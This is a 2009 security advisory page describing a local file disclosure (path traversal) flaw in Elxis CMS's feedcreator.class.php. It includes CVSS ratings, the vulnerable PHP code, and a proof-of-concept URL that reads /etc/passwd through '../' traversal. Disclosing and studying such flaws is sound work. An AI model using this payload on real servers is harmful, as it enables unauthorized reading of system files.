Elxis CMS Local File Disclosure Vulnerability

2009-12-03 / 2009-12-04
Credit: cr4wl3r
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-22


Ogólna skala CVSS: 5/10
Znaczenie: 2.9/10
Łatwość wykorzystania: 10/10
Wymagany dostęp: Zdalny
Złożoność ataku: Niska
Autoryzacja: Nie wymagana
Wpływ na poufność: Częściowy
Wpływ na integralność: Brak
Wpływ na dostępność: Brak

[ Discovered by cr4wl3r \ cr4wl3r[4t]linuxmail[dot]org ] ######################################################################## #Elxis CMS Local File Disclosure Vulnerability #Script Site : http://www.elxis.org ######################################################################## # #Code : <?php # # line 639 Header("Content-Type: ".$this->contentType."; charset=".$this->encoding); # line 640 Header("Content-Disposition: inline; filename=".basename($filename)); # line 641 readfile($filename, "r"); # line 642 die(); # ?> #PoC : http://[target]/[path]/includes/feedcreator.class.php?filename=../../../../../../etc/passwd # # # ######################################################################## ######################################################################## ####################[90r0nt4l0 und3r9r0nd c0mmun1ty]#################### ######################################################################## ######################################################################## [ Gorontalo / 2009 ]

Referencje:

http://www.securityfocus.com/bid/37158
http://packetstormsecurity.org/0911-exploits/elxiscms-disclose.txt


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top